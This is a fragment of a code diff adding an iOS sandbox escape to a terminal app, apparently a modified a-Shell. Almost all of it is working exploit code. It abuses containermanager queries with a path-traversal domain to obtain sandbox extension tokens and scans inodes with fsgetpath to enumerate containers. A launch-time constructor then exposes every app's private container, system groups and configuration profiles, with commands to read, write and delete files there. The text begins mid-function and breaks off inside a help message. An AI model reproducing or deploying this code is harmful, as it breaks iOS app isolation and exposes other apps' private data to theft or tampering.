} + + int64_t handle = consume_extension(token); + free(token); + query_free(query); + dlclose(mgr); + sbx_clean_group_caches(group); + return handle; +} + +static void sbx_release_handle(int64_t handle) { + if (handle <= 0) return; + sandbox_extension_release_fn release_extension = + (sandbox_extension_release_fn)dlsym(RTLD_DEFAULT, "sandbox_extension_release"); + if (release_extension) release_extension(handle); +} + +// --------------------------------------------------------------------------- +// Class-13 fallback (Veilpath / bad_query lineage) +// --------------------------------------------------------------------------- + +static int64_t sbx_fallback_query(NSString *target, bool alt_flags) { + if (target.length == 0 || ![target hasPrefix:@"/"]) return -255; + struct stat st; + if (lstat(target.fileSystemRepresentation, &st) != 0) return -255; + + void *mgr = dlopen("/usr/lib/system/libsystem_containermanager.dylib", RTLD_NOW | RTLD_LOCAL); + if (!mgr) return -1; + + container_query_create_fn query_create = (container_query_create_fn)dlsym(mgr, "container_query_create"); + container_query_set_class_fn query_set_class = (container_query_set_class_fn)dlsym(mgr, "container_query_set_class"); + container_query_set_identifiers_fn query_set_group_identifiers = + (container_query_set_identifiers_fn)dlsym(mgr, "container_query_set_group_identifiers"); + container_query_set_flags_fn query_set_flags = + (container_query_set_flags_fn)dlsym(mgr, "container_query_operation_set_flags"); + container_query_set_part_fn query_set_part = + (container_query_set_part_fn)dlsym(mgr, "container_query_operation_set_part"); + container_query_set_part_domain_fn query_set_part_domain = + (container_query_set_part_domain_fn)dlsym(mgr, "container_query_operation_set_part_domain"); + container_query_get_single_result_fn query_get_single_result = + (container_query_get_single_result_fn)dlsym(mgr, "container_query_get_single_result"); + container_query_free_fn query_free = (container_query_free_fn)dlsym(mgr, "container_query_free"); + container_copy_sandbox_token_fn copy_sandbox_token = + (container_copy_sandbox_token_fn)dlsym(mgr, "container_copy_sandbox_token"); + sandbox_extension_consume_fn consume_extension = + (sandbox_extension_consume_fn)dlsym(RTLD_DEFAULT, "sandbox_extension_consume"); + + if (!query_create || !query_set_class || !query_set_group_identifiers || !query_set_flags || + !query_set_part || !query_set_part_domain || !query_get_single_result || !query_free || + !copy_sandbox_token || !consume_extension) { + dlclose(mgr); + return -1; + } + + void *query = query_create(); + if (!query) { + dlclose(mgr); + return -3; + } + + xpc_object_t identifier = xpc_string_create("systemgroup.com.apple.mobilegestaltcache"); + query_set_class(query, 13); + query_set_group_identifiers(query, identifier); + query_set_part(query, 3); + + char *part = NULL; + if (asprintf(&part, "../../../../../../../..%s", target.fileSystemRepresentation) == -1) { + query_free(query); + dlclose(mgr); + return -5; + } + query_set_part_domain(query, part); + if (alt_flags) { + query_set_flags(query, 0x0000000800000000ULL); + } else { + query_set_flags(query, 0x0000008000000000ULL); + } + + void *result = query_get_single_result(query); + if (!result) { + free(part); + query_free(query); + dlclose(mgr); + return -5; + } + + char *token = copy_sandbox_token(result); + if (!token) { + free(part); + query_free(query); + dlclose(mgr); + return -6; + } + + int64_t handle = consume_extension(token); + free(token); + free(part); + query_free(query); + dlclose(mgr); + return handle; +} + +// --------------------------------------------------------------------------- +// Container enumeration (needed for the Application / daemon / plugin roots, +// whose parent directory cannot itself be granted on iOS 27) +// --------------------------------------------------------------------------- + +static NSArray *sbx_enumerate_class(uint64_t container_class) { + void *mgr = dlopen("/usr/lib/system/libsystem_containermanager.dylib", RTLD_NOW | RTLD_LOCAL); + if (!mgr) return nil; + + container_query_create_fn query_create = (container_query_create_fn)dlsym(mgr, "container_query_create"); + container_query_set_class_fn query_set_class = (container_query_set_class_fn)dlsym(mgr, "container_query_set_class"); + container_query_iterate_results_sync_fn iterate = + (container_query_iterate_results_sync_fn)dlsym(mgr, "container_query_iterate_results_sync"); + container_query_free_fn query_free = (container_query_free_fn)dlsym(mgr, "container_query_free"); + container_object_get_path_fn get_path = + (container_object_get_path_fn)dlsym(mgr, "container_object_get_path"); + container_object_get_identifier_fn get_identifier = + (container_object_get_identifier_fn)dlsym(mgr, "container_object_get_identifier"); + if (!get_identifier) get_identifier = (container_object_get_identifier_fn)dlsym(mgr, "container_result_get_identifier"); + + if (!query_create || !query_set_class || !iterate || !query_free || !get_path) { + dlclose(mgr); + return nil; + } + + void *query = query_create(); + if (!query) { dlclose(mgr); return nil; } + query_set_class(query, container_class); + + NSMutableArray *out = [NSMutableArray array]; + __block container_object_get_path_fn blk_get_path = get_path; + __block container_object_get_identifier_fn blk_get_id = get_identifier; + + iterate(query, ^(void *result) { + if (!result || !blk_get_path) return; + const char *path = blk_get_path(result); + const char *identifier = blk_get_id ? blk_get_id(result) : NULL; + if (!path || path[0] == '\0') return; + NSString *p = [NSString stringWithUTF8String:path]; + if (p.length == 0) return; + p = sbx_canonical(p); + NSString *i = (identifier && identifier[0]) ? [NSString stringWithUTF8String:identifier] : nil; + [out addObject:@{@"path": p, @"id": i ?: @""}]; + }); + + query_free(query); + dlclose(mgr); + return out; +} + +// --------------------------------------------------------------------------- +// Inode path enumeration (pathleak) +// +// fsgetpath() resolves a file-system object id to its absolute path without +// requiring directory-search permission. Scanning the inode range and +// keeping immediate children of a root enumerates containers when a +// containermanager query for the parent is refused. Derived from pathleak +// (forcequitOS, GPL-3.0). +// --------------------------------------------------------------------------- + +static double sbx_now(void) { + struct timespec ts; + clock_gettime(CLOCK_MONOTONIC, &ts); + return (double)ts.tv_sec + (double)ts.tv_nsec / 1000000000.0; +} + +static NSArray *sbx_pathleak(NSString *root, uint64_t max_inode, double seconds) { + if (root.length == 0 || max_inode < 1) return nil; + NSString *dir = sbx_canonical(root); + while (dir.length > 1 && [dir hasSuffix:@"/"]) dir = [dir substringToIndex:dir.length - 1]; + + struct statfs sfs; + if (statfs(dir.fileSystemRepresentation, &sfs) != 0) { + NSString *tmp = NSTemporaryDirectory(); + if (tmp.length == 0 || statfs(tmp.fileSystemRepresentation, &sfs) != 0) return nil; + } + fsid_t fsid = sfs.f_fsid; + + const char *prefix = dir.fileSystemRepresentation; + size_t prefix_len = strlen(prefix); + NSMutableArray *result = [NSMutableArray array]; + char buffer[PATH_MAX]; + double start = sbx_now(); + + for (uint64_t inode = 1; inode <= max_inode; inode++) { + if (seconds > 0 && (inode & 0xFFF) == 0 && (sbx_now() - start) > seconds) break; + ssize_t n = fsgetpath(buffer, sizeof(buffer), &fsid, inode); + if (n <= 0) continue; + if (strncmp(buffer, prefix, prefix_len) != 0) continue; + if (buffer[prefix_len] != '/') continue; + if (strchr(buffer + prefix_len + 1, '/') != NULL) continue; + NSString *path = [[NSFileManager defaultManager] stringWithFileSystemRepresentation:buffer length:strlen(buffer)]; + if (path.length > 0) [result addObject:path]; + } + [result sortUsingSelector:@selector(localizedStandardCompare:)]; + return result; +} + +// --------------------------------------------------------------------------- +// Handle cache +// --------------------------------------------------------------------------- + +static void sbx_store_handle(NSString *path, int64_t handle, NSString *engine) { + if (handle <= 0) return; + pthread_mutex_lock(&g_lock); + if (g_handles == nil) g_handles = [NSMutableArray array]; + [g_handles addObject:@{@"path": path, @"handle": @(handle), @"engine": engine ?: @"worse_query"}]; + pthread_mutex_unlock(&g_lock); +} + +static int64_t sbx_cached_handle_locked(NSString *path) { + if (g_handles == nil) return 0; + NSString *prefix = [path stringByAppendingString:@"/"]; + for (NSDictionary *entry in g_handles) { + NSString *p = entry[@"path"]; + if ([path isEqualToString:p] || [path hasPrefix:prefix] || [path hasPrefix:[p stringByAppendingString:@"/"]]) { + return [entry[@"handle"] longLongValue]; + } + } + return 0; +} + +static BOOL sbx_has_handle_for(NSString *path) { + pthread_mutex_lock(&g_lock); + int64_t h = sbx_cached_handle_locked(path); + pthread_mutex_unlock(&g_lock); + return h > 0; +} + +static BOOL sbx_uses_alt_flags(NSString *path) { + NSInteger major = [[NSProcessInfo processInfo] operatingSystemVersion].majorVersion; + return major == 26 && [path containsString:@"/var/mobile/Containers/Shared/AppGroup"]; +} + +// --------------------------------------------------------------------------- +// Grant +// --------------------------------------------------------------------------- + +static int64_t sbx_grant_path(NSString *raw, BOOL create, NSString **engineOut) { + NSString *path = sbx_canonical(raw); + if (path.length == 0 || ![path hasPrefix:@"/"]) return -255; + if (sbx_is_own_path(path)) { + if (engineOut) *engineOut = @"own-sandbox"; + return 0; + } + + pthread_mutex_lock(&g_lock); + int64_t cached = sbx_cached_handle_locked(path); + pthread_mutex_unlock(&g_lock); + if (cached > 0) { + if (engineOut) *engineOut = @"cached"; + return cached; + } + + NSString *group = sbx_group(); + bool alt = sbx_uses_alt_flags(path); + int64_t handle = 0; + NSString *engine = nil; + + pthread_mutex_lock(&g_query_lock); + if (group.length > 0) { + handle = sbx_worse_query(path, alt, create); + if (handle > 0) engine = @"worse_query"; + } + if (handle <= 0) { + int64_t fallback = sbx_fallback_query(path, alt); + if (fallback > 0) { + handle = fallback; + engine = @"fallback"; + } + } + pthread_mutex_unlock(&g_query_lock); + + if (handle > 0) { + sbx_store_handle(path, handle, engine); + if (engineOut) *engineOut = engine; + } else if (engineOut) { + *engineOut = nil; + } + return handle; +} + +static int64_t sbx_grant_mount(NSString *path) { + int64_t handle = sbx_grant_path(path, NO, NULL); + if (handle <= 0) handle = sbx_grant_path(path, YES, NULL); + return handle; +} + +static NSString *sbx_symlink_target(NSString *path) { + char buf[PATH_MAX]; + ssize_t n = readlink(path.fileSystemRepresentation, buf, sizeof(buf) - 1); + if (n <= 0) return nil; + buf[n] = '\0'; + NSString *target = [NSString stringWithUTF8String:buf]; + if (target.length == 0) return nil; + if (![target hasPrefix:@"/"]) { + target = [[path stringByDeletingLastPathComponent] stringByAppendingPathComponent:target]; + } + return sbx_canonical(target); +} + +static int64_t sbx_grant_item(NSString *raw) { + NSString *path = sbx_canonical(raw); + if (sbx_is_own_path(path)) return 0; + + struct stat st; + if (lstat(path.fileSystemRepresentation, &st) == 0) { + if (S_ISLNK(st.st_mode)) { + NSString *target = sbx_symlink_target(path); + if (target.length > 0) { + int64_t h = sbx_grant_path(target, NO, NULL); + if (h > 0) return h; + } + } + if (S_ISDIR(st.st_mode)) return sbx_grant_path(path, NO, NULL); + NSString *parent = [path stringByDeletingLastPathComponent]; + int64_t h = sbx_grant_path(parent, NO, NULL); + return h != 0 ? h : sbx_grant_path(path, NO, NULL); + } + + int64_t h = sbx_grant_path(path, NO, NULL); + if (h > 0) return h; + return sbx_grant_path([path stringByDeletingLastPathComponent], NO, NULL); +} + +static void sbx_release_all_internal(void) { + pthread_mutex_lock(&g_lock); + NSArray *handles = [g_handles copy]; + [g_handles removeAllObjects]; + pthread_mutex_unlock(&g_lock); + for (NSDictionary *entry in handles) { + sbx_release_handle([entry[@"handle"] longLongValue]); + } + sbx_printf("released %lu sandbox extension(s)\n", (unsigned long)handles.count); +} + +// --------------------------------------------------------------------------- +// Mount points +// --------------------------------------------------------------------------- + +static NSArray *sbx_mount_points(void) { + return @[ + @{@"name": @"system", @"root": @"/private/var/containers/Data/System", @"children": @NO, @"class": @0}, + @{@"name": @"systemgroups", @"root": @"/private/var/containers/Shared/SystemGroup", @"children": @YES, @"class": @11}, + @{@"name": @"apps", @"root": @"/private/var/mobile/Containers/Data/Application", @"children": @YES, @"class": @2}, + @{@"name": @"daemons", @"root": @"/private/var/mobile/Containers/Data/InternalDaemon", @"children": @YES, @"class": @10}, + @{@"name": @"plugins", @"root": @"/private/var/mobile/Containers/Data/PluginKitPlugin", @"children": @YES, @"class": @8}, + @{@"name": @"appgroups", @"root": @"/private/var/mobile/Containers/Shared/AppGroup", @"children": @YES, @"class": @5}, + @{@"name": @"appgroups27", @"root": @"/private/var/containers/Shared/AppGroup", @"children": @YES, @"class": @5} + ]; +} + +static NSArray *sbx_list_dir(NSString *path) { + const char *p = path.fileSystemRepresentation; + DIR *dir = opendir(p); + if (!dir) return nil; + NSMutableArray *entries = [NSMutableArray array]; + struct dirent *ent = NULL; + while ((ent = readdir(dir)) != NULL) { + if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0) continue; + NSString *name = [NSString stringWithUTF8String:ent->d_name]; + if (name.length > 0) [entries addObject:name]; + } + closedir(dir); + [entries sortUsingSelector:@selector(localizedStandardCompare:)]; + return entries; +} + +static NSString *sbx_bundle_id(NSString *containerPath) { + char buf[512]; + memset(buf, 0, sizeof(buf)); + ssize_t len = getxattr(containerPath.fileSystemRepresentation, + "com.apple.containermanager.identifier", buf, sizeof(buf) - 1, 0, 0); + if (len > 0) { + return [NSString stringWithUTF8String:buf]; + } + + NSString *meta = [containerPath stringByAppendingPathComponent:@".com.apple.mobile_container_manager.metadata.plist"]; + NSData *data = [NSData dataWithContentsOfFile:meta]; + if (data.length == 0) return nil; + id plist = [NSPropertyListSerialization propertyListWithData:data + options:NSPropertyListImmutable + format:NULL + error:NULL]; + if (![plist isKindOfClass:[NSDictionary class]]) return nil; + id ident = ((NSDictionary *)plist)[@"MCMMetadataIdentifier"]; + if ([ident isKindOfClass:[NSString class]] && [(NSString *)ident length] > 0) return ident; + return nil; +} + +static NSString *sbx_safe_name(NSString *name) { + NSMutableString *out = [NSMutableString stringWithString:name ?: @"unknown"]; + [out replaceOccurrencesOfString:@"/" withString:@"_" options:0 range:NSMakeRange(0, out.length)]; + [out replaceOccurrencesOfString:@":" withString:@"_" options:0 range:NSMakeRange(0, out.length)]; + return out; +} + +static BOOL sbx_symlink(NSString *target, NSString *link) { + NSFileManager *fm = [NSFileManager defaultManager]; + [fm removeItemAtPath:link error:NULL]; + return [fm createSymbolicLinkAtPath:link withDestinationPath:target error:NULL]; +} + +static void sbx_write_manifest(int64_t mounted, int64_t failed) { + NSMutableString *text = [NSMutableString string]; + [text appendString:@"Terminal sandbox escape manifest\n"]; + [text appendFormat:@"OS: %@\n", [[NSProcessInfo processInfo] operatingSystemVersionString]]; + pthread_mutex_lock(&g_lock); + NSString *group = g_group; + NSArray *handles = [g_handles copy]; + pthread_mutex_unlock(&g_lock); + [text appendFormat:@"App group: %@\n", group ?: @"(none)"]; + [text appendFormat:@"Mounted: %lld, failed: %lld\n", mounted, failed]; + [text appendFormat:@"Active handles: %lu\n\n", (unsigned long)handles.count]; + for (NSDictionary *entry in handles) { + [text appendFormat:@" handle %@: %@ (%@)\n", + entry[@"handle"], entry[@"path"], entry[@"engine"]]; + } + NSString *manifest = [sbx_mount_root() stringByAppendingPathComponent:@".mount_info"]; + [text writeToFile:manifest atomically:YES encoding:NSUTF8StringEncoding error:NULL]; +} + +static void sbx_automount(BOOL showUI) { + @autoreleasepool { + pthread_mutex_lock(&g_mount_lock); + + pthread_mutex_lock(&g_lock); + if (g_mount_running) { + pthread_mutex_unlock(&g_lock); + pthread_mutex_unlock(&g_mount_lock); + return; + } + g_mount_running = YES; + g_mount_done = NO; + pthread_mutex_unlock(&g_lock); + + NSFileManager *fm = [NSFileManager defaultManager]; + NSString *mountRoot = sbx_mount_root(); + [fm createDirectoryAtPath:mountRoot withIntermediateDirectories:YES attributes:nil error:NULL]; + + // Clear previous mounts, keeping the manifest until it is replaced. + NSArray *old = [fm contentsOfDirectoryAtPath:mountRoot error:NULL]; + for (NSString *item in old) { + if ([item isEqualToString:@".mount_info"]) continue; + [fm removeItemAtPath:[mountRoot stringByAppendingPathComponent:item] error:NULL]; + } + + if (sbx_group() == nil) { + NSLog(@"[TerminalSBX] warning: no app group available; using class-13 fallback only"); + } + + int64_t mounted = 0; + int64_t failed = 0; + + sbx_progress_set(0.06, @"正在准备挂载点…"); + NSArray *mountPoints = sbx_mount_points(); + NSUInteger mountPointCount = mountPoints.count; + NSUInteger mountPointIndex = 0; + for (NSDictionary *mp in mountPoints) { + NSString *name = mp[@"name"]; + double baseProgress = 0.06 + 0.84 * ((double)mountPointIndex / (double)MAX(mountPointCount, (NSUInteger)1)); + double spanProgress = 0.84 / (double)MAX(mountPointCount, (NSUInteger)1); + mountPointIndex++; + sbx_progress_set(baseProgress, [NSString stringWithFormat:@"正在处理 %@…", name]); + NSString *root = mp[@"root"]; + BOOL children = [mp[@"children"] boolValue]; + BOOL exists = sbx_path_exists(root); + + int64_t handle = sbx_grant_mount(root); + NSString *dest = [mountRoot stringByAppendingPathComponent:name]; + if (!children) { + if (handle <= 0) { + failed++; + NSLog(@"[TerminalSBX] cannot grant %@ (handle=%lld, exists=%d)", root, handle, exists); + continue; + } + if (sbx_symlink(root, dest)) { + mounted++; + sbx_mark_root(root); + NSLog(@"[TerminalSBX] mounted %@ -> %@", name, root); + } else { + failed++; + } + sbx_progress_set(baseProgress + spanProgress, [NSString stringWithFormat:@"完成 %@", name]); + continue; + } + + NSMutableArray *childItems = [NSMutableArray array]; + NSArray *entries = handle > 0 ? sbx_list_dir(root) : nil; + if (entries != nil) { + for (NSString *entry in entries) { + NSString *child = [root stringByAppendingPathComponent:entry]; + [childItems addObject:@{@"path": child, @"id": @""}]; + } + } else { + // iOS 27 refuses a token for the parent of Application, + // InternalDaemon, PluginKitPlugin and SystemGroup. Enumerate + // the individual containers with fsgetpath instead. + double seconds = [name isEqualToString:@"apps"] ? 12.0 : 6.0; + NSArray *leaked = sbx_pathleak(root, 2000000, seconds); + for (NSString *child in leaked ?: @[]) { + [childItems addObject:@{@"path": child, @"id": @""}]; + } + if (leaked.count > 0) { + NSLog(@"[TerminalSBX] fsgetpath found %lu container(s) under %@", + (unsigned long)leaked.count, root); + } + } + if (childItems.count == 0) { + failed++; + NSLog(@"[TerminalSBX] cannot enumerate %@", root); + sbx_progress_set(baseProgress + spanProgress, [NSString stringWithFormat:@"跳过 %@", name]); + continue; + } + sbx_mark_root(root); + sbx_progress_set(baseProgress + spanProgress * 0.25, + [NSString stringWithFormat:@"发现 %lu 个 %@ 容器", (unsigned long)childItems.count, name]); + + [fm createDirectoryAtPath:dest withIntermediateDirectories:YES attributes:nil error:NULL]; + int64_t childMounted = 0; + NSUInteger childIndex = 0; + NSUInteger childCount = childItems.count; + for (NSDictionary *childInfo in childItems) { + if ((childIndex & 0x1F) == 0) { + double p = baseProgress + spanProgress * (0.25 + 0.70 * ((double)childIndex / (double)MAX(childCount, (NSUInteger)1))); + sbx_progress_set(p, [NSString stringWithFormat:@"%@ %lu/%lu", name, + (unsigned long)childIndex, (unsigned long)childCount]); + } + childIndex++; + NSString *child = childInfo[@"path"]; + int64_t childHandle = sbx_grant_mount(child); + if (childHandle <= 0) { + failed++; + continue; + } + if (!sbx_path_is_dir(child)) continue; + + NSString *fallbackName = child.lastPathComponent; + NSString *bundleId = childInfo[@"id"]; + if (bundleId.length == 0) bundleId = sbx_bundle_id(child); + if (bundleId.length == 0) bundleId = fallbackName; + bundleId = sbx_safe_name(bundleId); + + NSString *childDest = [dest stringByAppendingPathComponent:bundleId]; + if ([fm fileExistsAtPath:childDest]) { + childDest = [dest stringByAppendingPathComponent: + [NSString stringWithFormat:@"%@_%@", bundleId, [fallbackName substringToIndex:MIN((NSUInteger)8, fallbackName.length)]]]; + } + [fm createDirectoryAtPath:childDest withIntermediateDirectories:YES attributes:nil error:NULL]; + + NSArray *subdirs = @[@"Documents", @"Library", @"tmp", @"SystemData", @"StoreKit"]; + for (NSString *sub in subdirs) { + NSString *target = [child stringByAppendingPathComponent:sub]; + if (!sbx_path_exists(target)) continue; + sbx_grant_mount(target); + sbx_symlink(target, [childDest stringByAppendingPathComponent:sub]); + } + sbx_symlink(child, [childDest stringByAppendingPathComponent:@"_data"]); + childMounted++; + } + mounted += childMounted; + NSLog(@"[TerminalSBX] mounted %lld container(s) under %@", childMounted, name); + sbx_progress_set(baseProgress + spanProgress, + [NSString stringWithFormat:@"完成 %@ (%lld)", name, childMounted]); + } + + sbx_progress_set(0.90, @"正在挂载便捷目录…"); + // Mount Terminal's own container by bundle ID as well. fsgetpath() + // does not always report the calling process's own container during + // the scan, but no extension is needed for it. + NSString *ownRoot = NSHomeDirectory(); + NSString *ownBid = [[NSBundle mainBundle] bundleIdentifier]; + if (ownBid.length == 0) ownBid = @"com.apple.Terminal"; + NSString *appsDest = [mountRoot stringByAppendingPathComponent:@"apps"]; + [fm createDirectoryAtPath:appsDest withIntermediateDirectories:YES attributes:nil error:NULL]; + NSString *ownDest = [appsDest stringByAppendingPathComponent:sbx_safe_name(ownBid)]; + if (![fm fileExistsAtPath:ownDest]) { + [fm createDirectoryAtPath:ownDest withIntermediateDirectories:YES attributes:nil error:NULL]; + NSArray *subdirs = @[@"Documents", @"Library", @"tmp", @"SystemData", @"StoreKit"]; + for (NSString *sub in subdirs) { + NSString *target = [ownRoot stringByAppendingPathComponent:sub]; + if (sbx_path_exists(target)) { + sbx_symlink(target, [ownDest stringByAppendingPathComponent:sub]); + } + } + sbx_symlink(ownRoot, [ownDest stringByAppendingPathComponent:@"_data"]); + mounted++; + } + + // Convenience mounts inside the system group tree. + NSString *gestalt = @"/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library/Caches"; + if (sbx_path_exists(gestalt) && sbx_grant_mount(gestalt) > 0) { + if (sbx_symlink(gestalt, [mountRoot stringByAppendingPathComponent:@"gestalt"])) mounted++; + } + NSString *profiles = @"/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.configurationprofiles/Library/ConfigurationProfiles"; + if (sbx_path_exists(profiles) && sbx_grant_mount(profiles) > 0) { + if (sbx_symlink(profiles, [mountRoot stringByAppendingPathComponent:@"configprofiles"])) mounted++; + } + + sbx_progress_set(0.97, @"正在写入挂载清单…"); + sbx_write_manifest(mounted, failed); + + pthread_mutex_lock(&g_lock); + g_mount_mounted = mounted; + g_mount_failed = failed; + g_mount_done = YES; + g_mount_running = NO; + pthread_mutex_unlock(&g_lock); + + NSLog(@"[TerminalSBX] auto-mount complete: %lld mounted, %lld failed", mounted, failed); + sbx_progress_set(1.0, @"完成"); + if (showUI) sbx_progress_finish(); + pthread_mutex_unlock(&g_mount_lock); + } +} + +static void *sbx_automount_thread(void *arg) { + (void)arg; + sbx_show_progress(); + usleep(400000); + sbx_automount(YES); + return NULL; +} + +__attribute__((constructor)) +static void sbx_initialize(void) { + // Every launch starts with a fresh terminal and no restored command + // history. a-Shell checks keep_content before restoring terminal data, + // cwd and the history array. + NSUserDefaults *defaults = [NSUserDefaults standardUserDefaults]; + [defaults setBool:NO forKey:@"keep_content"]; + [defaults synchronize]; + + // Do not touch Foundation before the app's run loop exists; mount on a + // detached thread shortly after launch. + pthread_t thread; + if (pthread_create(&thread, NULL, sbx_automount_thread, NULL) == 0) { + pthread_detach(thread); + } +} + +// --------------------------------------------------------------------------- +// Error descriptions +// --------------------------------------------------------------------------- + +static const char *sbx_error_text(int64_t code) { + switch (code) { + case -255: return "target does not exist (use -c to bypass the existence check)"; + case -254: return "not an absolute path"; + case -1: return "no usable App Group / container functions unavailable"; + case -2: return "failed to resolve containermanager functions"; + case -3: return "failed to create container query"; + case -4: return "failed to create the Library/Caches symlink"; + case -5: return "query rejected by containermanagerd"; + case -6: return "kernel refused to issue a sandbox extension"; + default: return "unknown error"; + } +} + +// --------------------------------------------------------------------------- +// Commands +// --------------------------------------------------------------------------- + +__attribute__((visibility("default"))) +int sbx_badshell(int argc, char **argv) { + (void)argc; (void)argv; + @autoreleasepool { + sbx_printf( +"Terminal — a-Shell 2.3.2 full + worse_query sandbox escape\n" +"\n" +"The launch-time mount runs in the background and takes ~40 seconds.\n" +"Use \"sbx_status\" to check progress.\n" +"\n" +"Auto-mounted at ~/Documents/_sandbox/ by the launch-time escape:\n" +" _sandbox/system/ /var/containers/Data/System\n" +" _sandbox/systemgroups/ /var/containers/Shared/SystemGroup/*\n" +" _sandbox/apps/ /var/mobile/Containers/Data/Application/*\n" +" _sandbox/daemons/ /var/mobile/Containers/Data/InternalDaemon/*\n" +" _sandbox/plugins/ /var/mobile/Containers/Data/PluginKitPlugin/*\n" +" _sandbox/appgroups/ /var/mobile/Containers/Shared/AppGroup/*\n" +" _sandbox/appgroups27/ /var/containers/Shared/AppGroup/* (iOS 27)\n" +" _sandbox/gestalt/ MobileGestalt cache\n" +" _sandbox/configprofiles/ ConfigurationProfiles\n" +"\n" +"Every app container is exposed by bundle ID:\n" +" _sandbox/apps/com.example.app/Documents/\n" +" _sandbox/apps/com.example.app/_data/ full container root\n" +"\n" +"Use standard commands (ls, cat, cp, grep, find, tar, python3...) on these\n" +"paths, or use the sbx_* commands for manual control:\n" +"\n" +" sbxhelp Show this help and mount overview\n" +" neofetch System information (actual device)\n" +" sbx_grant [-c] Consume a sandbox extension for a path\n" +" sbx_release Release sandbox extension(s)\n" +" sbx_status [-v] Show app group, mount state and active handles\n" +" sbx_remount Re-run the complete auto-mount\n" +" sbx_ls List a directory (or file metadata)\n" +" sbx_cat Print a file\n" +" sbx_cp Copy a file or directory\n" +" sbx_write [-a] Write/append text\n" +" sbx_rm [-r] Remove a file (or directory with -r)\n" +" sbx_hexdump [-n N] Hex dump\n" +" sbx_containers [root] List containers and bundle IDs\n" +" sbx_id Read a container's bundle ID\n" +" sbx_sysgroups [filter] List system group containers\n" +" sbx_probe Probe every supported escape path\n" +" sbx_paths Show the supported path table\n" +" bswelcome Banner + wait for the mount to finish\n" +"\n" +"Native plugin environment (installed in ~/Documents/.terminal):\n" +" termenv init Create the prefix and local repository\n" +" termenv selftest Test apt/dpkg with the hello package\n" +" apt update Refresh the package index\n" +" apt install Install a Terminal-compatible .deb\n" +" dpkg -i Install a .deb directly\n" +" dpkg -l List installed packages\n" +" mkdeb [arch]\n" +" bash